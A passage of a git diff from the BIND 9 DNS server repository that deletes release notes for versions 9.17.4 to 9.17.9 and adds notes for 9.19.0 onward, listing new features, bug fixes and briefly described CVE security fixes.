-  policy and keys in use, the key states, and rollover status.
-  :gl:`#1612`
-
-- Added support in the network manager for initiating outgoing TCP
-  connections. :gl:`#1958`
-
-Feature Changes
-~~~~~~~~~~~~~~~
-
-- Disable and disallow static linking of BIND 9 binaries and libraries
-  as BIND 9 modules require ``dlopen()`` support and static linking also
-  prevents using security features like read-only relocations (RELRO) or
-  address space layout randomization (ASLR) which are important for
-  programs that interact with the network and process arbitrary user
-  input. :gl:`#1933`
-
-- As part of an ongoing effort to use :rfc:`8499` terminology,
-  ``primaries`` can now be used as a synonym for ``masters`` in
-  ``named.conf``. Similarly, ``notify primary-only`` can now be used as
-  a synonym for ``notify master-only``. The output of ``rndc
-  zonestatus`` now uses ``primary`` and ``secondary`` terminology.
-  :gl:`#1948`
-
-Bug Fixes
-~~~~~~~~~
-
-- A race condition could occur if a TCP socket connection was closed
-  while ``named`` was waiting for a recursive response. The attempt to
-  send a response over the closing connection triggered an assertion
-  failure in the function ``isc__nm_tcpdns_send()``. :gl:`#1937`
-
-- A race condition could occur when ``named`` attempted to use a UDP
-  interface that was shutting down. This triggered an assertion failure
-  in ``uv__udp_finish_close()``. :gl:`#1938`
-
-- Fix assertion failure when server was under load and root zone had not
-  yet been loaded. :gl:`#1862`
-
-- ``named`` could crash when cleaning dead nodes in ``lib/dns/rbtdb.c``
-  that were being reused. :gl:`#1968`
-
-- ``named`` crashed on shutdown when a new ``rndc`` connection was
-  received during shutdown. This has been fixed. :gl:`#1747`
-
-- The DS RRset returned by ``dns_keynode_dsset()`` was used in a
-  non-thread-safe manner. This could result in an INSIST being
-  triggered. :gl:`#1926`
-
-- The ``primary`` and ``secondary`` keywords, when used as parameters
-  for ``check-names``, were not processed correctly and were being
-  ignored. :gl:`#1949`
-
-- ``rndc dnstap -roll <value>`` did not limit the number of saved files
-  to ``<value>``. :gl:`!3728`
-
-- The validator could fail to accept a properly signed RRset if an
-  unsupported algorithm appeared earlier in the DNSKEY RRset than a
-  supported algorithm. It could also stop if it detected a malformed
-  public key. :gl:`#1689`
-
-- The ``blackhole`` ACL was inadvertently disabled for client queries.
-  Blocked IP addresses were not used for upstream queries but queries
-  from those addresses could still be answered. :gl:`#1936`
diff --git a/doc/notes/notes-9.17.4.rst b/doc/notes/notes-9.17.4.rst
deleted file mode 100644
index a6818eddf2..0000000000
--- a/doc/notes/notes-9.17.4.rst
+++ /dev/null
@@ -1,128 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-Notes for BIND 9.17.4
----------------------
-
-Security Fixes
-~~~~~~~~~~~~~~
-
-- It was possible to trigger an assertion failure by sending a specially
-  crafted large TCP DNS message. This was disclosed in CVE-2020-8620.
-
-  ISC would like to thank Emanuel Almeida of Cisco Systems, Inc. for
-  bringing this vulnerability to our attention. :gl:`#1996`
-
-- ``named`` could crash after failing an assertion check in certain
-  query resolution scenarios where QNAME minimization and forwarding
-  were both enabled. To prevent such crashes, QNAME minimization is now
-  always disabled for a given query resolution process, if forwarders
-  are used at any point. This was disclosed in CVE-2020-8621.
-
-  ISC would like to thank Joseph Gullo for bringing this vulnerability
-  to our attention. :gl:`#1997`
-
-- It was possible to trigger an assertion failure when verifying the
-  response to a TSIG-signed request. This was disclosed in
-  CVE-2020-8622.
-
-  ISC would like to thank Dave Feldman, Jeff Warren, and Joel Cunningham
-  of Oracle for bringing this vulnerability to our attention.
-  :gl:`#2028`
-
-- When BIND 9 was compiled with native PKCS#11 support, it was possible
-  to trigger an assertion failure in code determining the number of bits
-  in the PKCS#11 RSA public key with a specially crafted packet. This
-  was disclosed in CVE-2020-8623.
-
-  ISC would like to thank Lyu Chiy for bringing this vulnerability to
-  our attention. :gl:`#2037`
-
-- ``update-policy`` rules of type ``subdomain`` were incorrectly treated
-  as ``zonesub`` rules, which allowed keys used in ``subdomain`` rules
-  to update names outside of the specified subdomains. The problem was
-  fixed by making sure ``subdomain`` rules are again processed as
-  described in the ARM. This was disclosed in CVE-2020-8624.
-
-  ISC would like to thank Joop Boonen of credativ GmbH for bringing this
-  vulnerability to our attention. :gl:`#2055`
-
-New Features
-~~~~~~~~~~~~
-
-- A new configuration option ``stale-cache-enable`` has been introduced
-  to enable or disable keeping stale answers in cache. :gl:`#1712`
-
-- ``rndc`` has been updated to use the new BIND network manager API.
-  This change had the side effect of altering the TCP timeout for RNDC
-  connections from 60 seconds to the ``tcp-idle-timeout`` value, which
-  defaults to 30 seconds. Also, because the network manager currently
-  has no support for UNIX-domain sockets, those cannot now be used
-  with ``rndc``. This will be addressed in a future release, either by
-  restoring UNIX-domain socket support or by formally declaring them
-  to be obsolete in the control channel. :gl:`#1759`
-
-- Statistics channels have also been updated to use the new BIND network
-  manager API. :gl:`#2022`
-
-Feature Changes
-~~~~~~~~~~~~~~~
-
-- BIND's cache database implementation has been updated to use a faster
-  hash function with better distribution. In addition, the effective
-  ``max-cache-size`` (configured explicitly, defaulting to a value based
-  on system memory or set to ``unlimited``) now pre-allocates fixed-size
-  hash tables. This prevents interruption to query resolution when the
-  hash table sizes need to be increased. :gl:`#1775`
-
-- Keeping stale answers in cache has been disabled by default.
-  :gl:`#1712`
-
-- Resource records received with 0 TTL are no longer kept in the cache
-  to be used for stale answers. :gl:`#1829`
-
-Bug Fixes
-~~~~~~~~~
-
-- Wildcard RPZ passthru rules could incorrectly be overridden by other
-  rules that were loaded from RPZ zones which appeared later in the
-  ``response-policy`` statement. This has been fixed. :gl:`#1619`
-
-- The IPv6 Duplicate Address Detection (DAD) mechanism could
-  inadvertently prevent ``named`` from binding to new IPv6 interfaces,
-  by causing multiple route socket messages to be sent for each IPv6
-  address. ``named`` monitors for new interfaces to ``bind()`` to when
-  it is configured to listen on ``any`` or on a specific range of
-  addresses. New IPv6 interfaces can be in a "tentative" state before
-  they are fully available for use. When DAD is in use, two messages are
-  emitted by the route socket: one when the interface first appears and
-  then a second one when it is fully "up." An attempt by ``named`` to
-  ``bind()`` to the new interface prematurely would fail, causing it
-  thereafter to ignore that address/interface. The problem was worked
-  around by setting the ``IP_FREEBIND`` option on the socket and trying
-  to ``bind()`` to each IPv6 address again if the first ``bind()`` call
-  for that address failed with ``EADDRNOTAVAIL``. :gl:`#2038`
-
-- Addressed an error in recursive clients stats reporting which could
-  cause underflow, and even negative statistics. There were occasions
-  when an incoming query could trigger a prefetch for some eligible
-  RRset, and if the prefetch code were executed before recursion, no
-  increment in recursive clients stats would take place. Conversely,
-  when processing the answers, if the recursion code were executed
-  before the prefetch, the same counter would be decremented without a
-  matching increment. :gl:`#1719`
-
-- The introduction of KASP support inadvertently caused the second field
-  of ``sig-validity-interval`` to always be calculated in hours, even in
-  cases when it should have been calculated in days. This has been
-  fixed. (Thanks to Tony Finch.) :gl:`!3735`
-
-- LMDB locking code was revised to make ``rndc reconfig`` work properly
-  on FreeBSD and with LMDB >= 0.9.26. :gl:`#1976`
diff --git a/doc/notes/notes-9.17.5.rst b/doc/notes/notes-9.17.5.rst
deleted file mode 100644
index 1307839016..0000000000
--- a/doc/notes/notes-9.17.5.rst
+++ /dev/null
@@ -1,77 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-Notes for BIND 9.17.5
----------------------
-
-New Features
-~~~~~~~~~~~~
-
-- Add a new ``rndc`` command, ``rndc dnssec -checkds``, which signals to
-  ``named`` that a DS record for a given zone or key has been published
-  or withdrawn from the parent. This command replaces the time-based
-  ``parent-registration-delay`` configuration option. :gl:`#1613`
-
-- Log when ``named`` adds a CDS/CDNSKEY to the zone. :gl:`#1748`
-
-Removed Features
-~~~~~~~~~~~~~~~~
-
-- The ``--with-gperftools-profiler`` ``configure`` option was removed.
-  To use the gperftools profiler, the ``HAVE_GPERFTOOLS_PROFILER`` macro
-  now needs to be manually set in ``CFLAGS`` and ``-lprofiler`` needs to
-  be present in ``LDFLAGS``. :gl:`!4045`
-
-- The ``glue-cache`` *option* has been marked as deprecated. The glue
-  cache *feature* still works and will be permanently *enabled* in a
-  future release. :gl:`#2146`
-
-Feature Changes
-~~~~~~~~~~~~~~~
-
-- Previously, using ``dig +bufsize=0`` had the side effect of disabling
-  EDNS, and there was no way to test the remote server's behavior when
-  it had received a packet with EDNS0 buffer size set to 0. This is no
-  longer the case; ``dig +bufsize=0`` now sends a DNS message with EDNS
-  version 0 and buffer size set to 0. To disable EDNS, use ``dig
-  +noedns``. :gl:`#2054`
-
-Bug Fixes
-~~~~~~~~~
-
-- In rare circumstances, ``named`` would exit with an assertion failure
-  when the number of nodes stored in the red-black tree exceeded the
-  maximum allowed size of the internal hash table. :gl:`#2104`
-
-- Silence spurious system log messages for an EPROTO(71) error code that
-  was seen on older operating systems, where unhandled ICMPv6 errors
-  resulted in a generic protocol error being returned instead of a more
-  specific error code. :gl:`#1928`
-
-- With query name minimization enabled, ``named`` failed to resolve
-  ``ip6.arpa.`` names that had extra labels to the left of the IPv6
-  part. For example, when ``named`` attempted query name minimization on
-  a name like ``A.B.1.2.3.4.(...).ip6.arpa.``, it stopped at the
-  leftmost IPv6 label, i.e. ``1.2.3.4.(...).ip6.arpa.``, without
-  considering the extra labels (``A.B``). That caused a query loop when
-  resolving the name: if ``named`` received NXDOMAIN answers, then the
-  same query was repeatedly sent until the number of queries sent
-  reached the value of the ``max-recursion-queries`` configuration
-  option. :gl:`#1847`
-
-- Parsing of LOC records was made more strict by rejecting a sole period
-  (``.``) and/or ``m`` as a value. These changes prevent zone files
-  using such values from being loaded. Handling of negative altitudes
-  which are not integers was also corrected. :gl:`#2074`
-
-- Several problems found by `OSS-Fuzz`_ were fixed. (None of these are
-  security issues.) :gl:`!3953` :gl:`!3975`
-
-.. _OSS-Fuzz: https://github.com/google/oss-fuzz
diff --git a/doc/notes/notes-9.17.6.rst b/doc/notes/notes-9.17.6.rst
deleted file mode 100644
index 974fb83c01..0000000000
--- a/doc/notes/notes-9.17.6.rst
+++ /dev/null
@@ -1,64 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-Notes for BIND 9.17.6
----------------------
-
-New Features
-~~~~~~~~~~~~
-
-- Add a new ``rndc`` command, ``rndc dnssec -rollover``, which triggers
-  a manual rollover for a specific key. :gl:`#1749`
-
-- Add a new ``rndc`` command, ``rndc dumpdb -expired``, which dumps the
-  cache database, including expired RRsets that are awaiting cleanup, to
-  the ``dump-file`` for diagnostic purposes. :gl:`#1870`
-
-Removed Features
-~~~~~~~~~~~~~~~~
-
-- The ``glue-cache`` *option* has been marked as deprecated. The glue
-  cache *feature* still works and will be permanently *enabled* in a
-  future release. :gl:`#2146`
-
-Feature Changes
-~~~~~~~~~~~~~~~
-
-- DNS Flag Day 2020: The default EDNS buffer size has been changed from
-  4096 to 1232 bytes, the EDNS buffer size probing has been removed, and
-  ``named`` now sets the DF (Don't Fragment) flag on outgoing UDP
-  packets. According to measurements done by multiple parties, this
-  should not cause any operational problems as most of the Internet
-  "core" is able to cope with IP message sizes between 1400-1500 bytes;
-  the 1232 size was picked as a conservative minimal number that could
-  be changed by the DNS operator to an estimated path MTU minus the
-  estimated header space. In practice, the smallest MTU witnessed in the
-  operational DNS community is 1500 octets, the maximum Ethernet payload
-  size, so a useful default for maximum DNS/UDP payload size on reliable
-  networks would be 1400 bytes. :gl:`#2183`
-
-Bug Fixes
-~~~~~~~~~
-
-- ``named`` reported an invalid memory size when running in an
-  environment that did not properly report the number of available
-  memory pages and/or the size of each memory page. :gl:`#2166`
-
-- With multiple forwarders configured, ``named`` could fail the
-  ``REQUIRE(msg->state == (-1))`` assertion in ``lib/dns/message.c``,
-  causing it to crash. This has been fixed. :gl:`#2124`
-
-- ``named`` erroneously performed continuous key rollovers for KASP
-  policies that used algorithm Ed25519 or Ed448 due to a mismatch
-  between created key size and expected key size. :gl:`#2171`
-
-- Updating contents of an RPZ zone which contained names spelled using
-  varying letter case could cause some processing rules in that RPZ zone
-  to be erroneously ignored. :gl:`#2169`
diff --git a/doc/notes/notes-9.17.7.rst b/doc/notes/notes-9.17.7.rst
deleted file mode 100644
index 40ac5a53e6..0000000000
--- a/doc/notes/notes-9.17.7.rst
+++ /dev/null
@@ -1,64 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-Notes for BIND 9.17.7
----------------------
-
-New Features
-~~~~~~~~~~~~
-
-- Support for DNS over TLS (DoT) has been added: the ``dig`` tool is now
-  able to send DoT queries (``+tls`` option) and ``named`` can handle
-  DoT queries (``listen-on tls ...`` option). ``named`` can use either a
-  certificate provided by the user or an ephemeral certificate generated
-  automatically upon startup. :gl:`#1840`
-
-- A new configuration option, ``stale-refresh-time``, has been
-  introduced. It allows a stale RRset to be served directly from cache
-  for a period of time after a failed lookup, before a new attempt to
-  refresh it is made. :gl:`#2066`
-
-Feature Changes
-~~~~~~~~~~~~~~~
-
-- The ``dig``, ``host``, and ``nslookup`` tools have been converted to
-  use the new network manager API rather than the older ISC socket API.
-
-  As a side effect of this change, the ``dig +unexpected`` option no
-  longer works. This could previously be used to diagnose broken servers
-  or network configurations by listening for replies from servers other
-  than the one that was queried. With the new API, such answers are
-  filtered before they ever reach ``dig``, so the option has been
-  removed. :gl:`#2140`
-
-- The network manager API is now used by ``named`` to send zone transfer
-  requests. :gl:`#2016`
-
-Bug Fixes
-~~~~~~~~~
-
-- ``named`` could crash with an assertion failure if a TCP connection
-  were closed while a request was still being processed. :gl:`#2227`
-
-- ``named`` acting as a resolver could incorrectly treat signed zones
-  with no DS record at the parent as bogus. Such zones should be treated
-  as insecure. This has been fixed. :gl:`#2236`
-
-- After a Negative Trust Anchor (NTA) is added, BIND performs periodic
-  checks to see if it is still necessary. If BIND encountered a failure
-  while creating a query to perform such a check, it attempted to
-  dereference a ``NULL`` pointer, resulting in a crash. :gl:`#2244`
-
-- A problem obtaining glue records could prevent a stub zone from
-  functioning properly, if the authoritative server for the zone were
-  configured for minimal responses. :gl:`#1736`
-
-- ``UV_EOF`` is no longer treated as a ``TCP4RecvErr`` or a
-  ``TCP6RecvErr``. :gl:`#2208`
diff --git a/doc/notes/notes-9.17.8.rst b/doc/notes/notes-9.17.8.rst
deleted file mode 100644
index 9d7a2d79ff..0000000000
--- a/doc/notes/notes-9.17.8.rst
+++ /dev/null
@@ -1,72 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-Notes for BIND 9.17.8
----------------------
-
-New Features
-~~~~~~~~~~~~
-
-- NSEC3 support was added to KASP. A new option for ``dnssec-policy``,
-  ``nsec3param``, can be used to set the desired NSEC3 parameters.
-  NSEC3 salt collisions are automatically prevented during resalting.
-  :gl:`#1620`
-
-- ``dig`` output now includes the transport protocol used (UDP, TCP, or
-  TLS). :gl:`#1816`
-
-- ``dig`` can now report the DNS64 prefixes in use (``+dns64prefix``).
-  This is useful when the host on which ``dig`` is run is behind an
-  IPv6-only link, using DNS64/NAT64 or 464XLAT for IPv4aaS (IPv4 as a
-  Service). :gl:`#1154`
-
-Feature Changes
-~~~~~~~~~~~~~~~
-
-- The new networking code introduced in BIND 9.16 (netmgr) was
-  overhauled in order to make it more stable, testable, and
-  maintainable. :gl:`#2321`
-
-- Earlier releases of BIND versions 9.16 and newer required the
-  operating system to support load-balanced sockets in order for
-  ``named`` to be able to achieve high performance (by distributing
-  incoming queries among multiple threads). However, the only operating
-  systems currently known to support load-balanced sockets are Linux and
-  FreeBSD 12, which means both UDP and TCP performance were limited to a
-  single thread on other systems. As of BIND 9.17.8, ``named`` attempts
-  to distribute incoming queries among multiple threads on systems which
-  lack support for load-balanced sockets (except Windows). :gl:`#2137`
-
-- The default value of ``max-recursion-queries`` was increased from 75
-  to 100. Since the queries sent towards root and TLD servers are now
-  included in the count (as a result of the fix for CVE-2020-8616),
-  ``max-recursion-queries`` has a higher chance of being exceeded by
-  non-attack queries, which is the main reason for increasing its
-  default value. :gl:`#2305`
-
-- The default value of ``nocookie-udp-size`` was restored back to 4096
-  bytes. Since ``max-udp-size`` is the upper bound for
-  ``nocookie-udp-size``, this change relieves the operator from having
-  to change ``nocookie-udp-size`` together with ``max-udp-size`` in
-  order to increase the default EDNS buffer size limit.
-  ``nocookie-udp-size`` can still be set to a value lower than
-  ``max-udp-size``, if desired. :gl:`#2250`
-
-Bug Fixes
-~~~~~~~~~
-
-- Handling of missing DNS COOKIE responses over UDP was tightened by
-  falling back to TCP. :gl:`#2275`
-
-- The CNAME synthesized from a DNAME was incorrectly followed when the
-  QTYPE was CNAME or ANY. :gl:`#2280`
-
-- Building with native PKCS#11 support for AEP Keyper has been broken
-  since BIND 9.17.4. This has been fixed. :gl:`#2315`
diff --git a/doc/notes/notes-9.17.9.rst b/doc/notes/notes-9.17.9.rst
deleted file mode 100644
index 8d208dd0de..0000000000
--- a/doc/notes/notes-9.17.9.rst
+++ /dev/null
@@ -1,56 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-Notes for BIND 9.17.9
----------------------
-
-New Features
-~~~~~~~~~~~~
-
-- ``ipv4only.arpa`` is now served when DNS64 is configured. :gl:`#385`
-
-Feature Changes
-~~~~~~~~~~~~~~~
-
-- It is now possible to transition a zone from secure to insecure mode
-  without making it bogus in the process; changing to ``dnssec-policy
-  none;`` also causes CDS and CDNSKEY DELETE records to be published, to
-  signal that the entire DS RRset at the parent must be removed, as
-  described in :rfc:`8078`. :gl:`#1750`
-
-- When using the ``unixtime`` or ``date`` method to update the SOA
-  serial number, ``named`` and ``dnssec-signzone`` silently fell back to
-  the ``increment`` method to prevent the new serial number from being
-  smaller than the old serial number (using serial number arithmetics).
-  ``dnssec-signzone`` now prints a warning message, and ``named`` logs a
-  warning, when such a fallback happens. :gl:`#2058`
-
-Bug Fixes
-~~~~~~~~~
-
-- Multiple threads could attempt to destroy a single RBTDB instance at
-  the same time, resulting in an unpredictable but low-probability
-  assertion failure in ``free_rbtdb()``. This has been fixed. :gl:`#2317`
-
-- ``named`` no longer attempts to assign threads to CPUs outside the CPU
-  affinity set. Thanks to Ole Bjørn Hessen. :gl:`#2245`
-
-- When reconfiguring ``named``, removing ``auto-dnssec`` did not turn
-  off DNSSEC maintenance. This has been fixed. :gl:`#2341`
-
-- The report of intermittent BIND assertion failures triggered in
-  ``lib/dns/resolver.c:dns_name_issubdomain()`` has now been closed
-  without further action. Our initial response to this was to add
-  diagnostic logging instead of terminating ``named``, anticipating that
-  we would receive further useful troubleshooting input. This workaround
-  first appeared in BIND releases 9.17.5 and 9.16.7. However, since
-  those releases were published, there have been no new reports of
-  assertion failures matching this issue, but also no further diagnostic
-  input, so we have closed the issue. :gl:`#2091`
diff --git a/doc/notes/notes-9.19.0.rst b/doc/notes/notes-9.19.0.rst
new file mode 100644
index 0000000000..f6363e680c
--- /dev/null
+++ b/doc/notes/notes-9.19.0.rst
@@ -0,0 +1,61 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.0
+---------------------
+
+Known Issues
+~~~~~~~~~~~~
+
+- According to :rfc:`8310`, Section 8.1, the ``Subject`` field MUST NOT
+  be inspected when verifying a remote certificate while establishing a
+  DNS-over-TLS connection. Only ``subjectAltName`` must be checked
+  instead. Unfortunately, some quite old versions of cryptographic
+  libraries might lack the ability to ignore the ``Subject`` field. This
+  should have minimal production-use consequences, as most of the
+  production-ready certificates issued by certificate authorities will
+  have ``subjectAltName`` set. In such cases, the ``Subject`` field is
+  ignored. Only old platforms are affected by this, e.g. those supplied
+  with OpenSSL versions older than 1.1.1. :gl:`#3163`
+
+- See :ref:`above <relnotes_known_issues>` for a list of all known
+  issues affecting this BIND 9 branch.
+
+New Features
+~~~~~~~~~~~~
+
+- Add support for remote TLS certificate verification, both to
+  :iscman:`named` and :iscman:`dig`, making it possible to implement
+  Strict and Mutual TLS authentication, as described in :rfc:`9103`,
+  Section 9.3. :gl:`#3163`
+
+- :iscman:`dnssec-verify` and :iscman:`dnssec-signzone` now accept a
+  ``-J`` option to specify a journal file to read when loading the zone
+  to be verified or signed. :gl:`#2486`
+
+Removed Features
+~~~~~~~~~~~~~~~~
+
+- The ``keep-response-order`` option has been declared obsolete and the
+  functionality has been removed. :iscman:`named` expects DNS clients to
+  be fully compliant with :rfc:`7766`. :gl:`#3140`
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- Run RPZ updates on the specialized "offload" threads to reduce the
+  amount of time they block query processing on the main networking
+  threads. This should increase the responsiveness of :iscman:`named`
+  when RPZ updates are being applied after an RPZ zone has been
+  successfully transferred. :gl:`#3190`
+
+- The catalog zone implementation has been optimized to work with
+  hundreds of thousands of member zones. :gl:`#3212` :gl:`#3744`
diff --git a/doc/notes/notes-9.19.1.rst b/doc/notes/notes-9.19.1.rst
new file mode 100644
index 0000000000..dd778fb212
--- /dev/null
+++ b/doc/notes/notes-9.19.1.rst
@@ -0,0 +1,72 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.1
+---------------------
+
+Security Fixes
+~~~~~~~~~~~~~~
+
+- Previously, TLS socket objects could be destroyed prematurely, which
+  triggered assertion failures in :iscman:`named` instances serving
+  DNS-over-HTTPS (DoH) clients. This has been fixed.
+
+  ISC would like to thank Thomas Amgarten from arcade solutions ag for
+  bringing this vulnerability to our attention. (CVE-2022-1183)
+  :gl:`#3216`
+
+New Features
+~~~~~~~~~~~~
+
+- Catalog Zones schema version 2, as described in the
+  "DNS Catalog Zones" IETF draft version 5 document, is now supported by
+  :iscman:`named`. All of the previously supported BIND-specific catalog
+  zone custom properties (:any:`primaries`, :any:`allow-query`, and
+  :any:`allow-transfer`), as well as the new Change of Ownership (``coo``)
+  property, are now implemented. Schema version 1 is still supported,
+  with some additional validation rules applied from schema version 2:
+  for example, the :any:`version` property is mandatory, and a member zone
+  PTR RRset must not contain more than one record. In the event of a
+  validation error, a corresponding error message is logged to help with
+  diagnosing the problem. :gl:`#3221` :gl:`#3222` :gl:`#3223`
+  :gl:`#3224` :gl:`#3225`
+
+- Support DNS Extended Errors (:rfc:`8914`) ``Stale Answer`` and
+  ``Stale NXDOMAIN Answer`` when stale answers are returned from cache.
+  :gl:`#2267`
+
+- The Object Identifier (OID) embedded at the start of a PRIVATEOID
+  public key in a KEY, DNSKEY, CDNSKEY, or RKEY resource records is now
+  checked to ensure that it is valid when reading from zone files or
+  receiving data on the wire. The Object Identifier is now printed when
+  the ``dig +rrcomments`` option is used. Similarly, the name embedded
+  at the start of a PRIVATEDNS public key is also checked for validity.
+  :gl:`#3234`
+
+- The Object Identifier (OID) embedded at the start of a PRIVATEOID
+  signature in a SIG, or RRSIG resource records is now checked to
+  ensure that it is valid when reading from zone files or receiving
+  data on the wire.  Similarly, the name embedded at the start of
+  a PRIVATEDNS public key is also checked for validity. :gl:`#3296`
+
+Bug Fixes
+~~~~~~~~~
+
+- Previously, CDS and CDNSKEY DELETE records were removed from the zone
+  when configured with the ``auto-dnssec maintain;`` option. This has
+  been fixed. :gl:`#2931`
+
+Known Issues
+~~~~~~~~~~~~
+
+- There are no new known issues with this release. See :ref:`above
+  <relnotes_known_issues>` for a list of all known issues affecting this
+  BIND 9 branch.
diff --git a/doc/notes/notes-9.19.10.rst b/doc/notes/notes-9.19.10.rst
new file mode 100644
index 0000000000..db6aae7d83
--- /dev/null
+++ b/doc/notes/notes-9.19.10.rst
@@ -0,0 +1,73 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.10
+----------------------
+
+New Features
+~~~~~~~~~~~~
+
+- The :any:`forwarders` statement now supports the :any:`tls` argument,
+  to be used to forward queries to DoT-enabled servers. :gl:`#3726`
+
+Removed Features
+~~~~~~~~~~~~~~~~
+
+- Specifying a ``port`` when configuring source addresses (i.e., as an
+  argument to :any:`query-source`, :any:`query-source-v6`,
+  :any:`transfer-source`, :any:`transfer-source-v6`,
+  :any:`notify-source`, :any:`notify-source-v6`, :any:`parental-source`,
+  or :any:`parental-source-v6`, or in the ``source`` or ``source-v6``
+  arguments to :any:`primaries`, :any:`parental-agents`,
+  :any:`also-notify`, or :any:`catalog-zones`) has been deprecated. In
+  addition, the :any:`use-v4-udp-ports`, :any:`use-v6-udp-ports`,
+  :any:`avoid-v4-udp-ports`, and :any:`avoid-v6-udp-ports` options have
+  also been deprecated.
+
+  Warnings are now logged when any of these options are encountered in
+  ``named.conf``. In a future release, they will be made nonfunctional.
+  :gl:`#3781`
+
+- The Differentiated Services Code Point (DSCP) feature has been
+  removed: configuring DSCP values in ``named.conf`` is now a
+  configuration error. :gl:`#3789`
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- The memory statistics have been reduced to a single counter,
+  ``InUse``; ``Malloced`` is an alias that holds the same value. The
+  other counters were usable with the old BIND 9 internal memory
+  allocator, but they are unnecessary now that the latter has been
+  removed. :gl:`#3718`
+
+Bug Fixes
+~~~~~~~~~
+
+- A constant stream of zone additions and deletions via ``rndc
+  reconfig`` could cause increased memory consumption due to delayed
+  cleaning of view memory. This has been fixed. :gl:`#3801`
+
+- The speed of the message digest algorithms (MD5, SHA-1, SHA-2), and of
+  NSEC3 hashing, has been improved. :gl:`#3795`
+
+- Pointing :any:`parental-agents` to a resolver did not work because the
+  RD bit was not set on DS requests. This has been fixed. :gl:`#3783`
+
+- Building BIND 9 failed when the ``--enable-dnsrps`` switch for
+  ``./configure`` was used. This has been fixed. :gl:`#3827`
+
+Known Issues
+~~~~~~~~~~~~
+
+- There are no new known issues with this release. See :ref:`above
+  <relnotes_known_issues>` for a list of all known issues affecting this
+  BIND 9 branch.
diff --git a/doc/notes/notes-9.19.11.rst b/doc/notes/notes-9.19.11.rst
new file mode 100644
index 0000000000..a4aafb9d70
--- /dev/null
+++ b/doc/notes/notes-9.19.11.rst
@@ -0,0 +1,89 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.11
+----------------------
+
+New Features
+~~~~~~~~~~~~
+
+- When using :any:`dnssec-policy`, it is now possible to configure the
+  digest type to use when ``CDS`` records need to be published with
+  :any:`cds-digest-types`. Also, publication of specific CDNSKEY/CDS
+  records can now be set with :option:`dnssec-signzone -G`. :gl:`#3837`
+
+Removed Features
+~~~~~~~~~~~~~~~~
+
+- Support for Red Hat Enterprise Linux version 7 (and clones) has been
+  dropped. A C11-compliant compiler is now required to compile BIND 9.
+  :gl:`#3729`
+
+- The functions that were in the ``libbind9`` shared library have been
+  moved to the ``libisc`` and ``libisccfg`` libraries. The now-empty
+  ``libbind9`` has been removed and is no longer installed. :gl:`#3903`
+
+- The ``irs_resconf`` module has been moved to the ``libdns`` shared
+  library. The now-empty ``libirs`` library has been removed and is no
+  longer installed. :gl:`#3904`
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- Catalog zone updates are now run on specialized "offload" threads to
+  reduce the amount of time they block query processing on the main
+  networking threads. This increases the responsiveness of
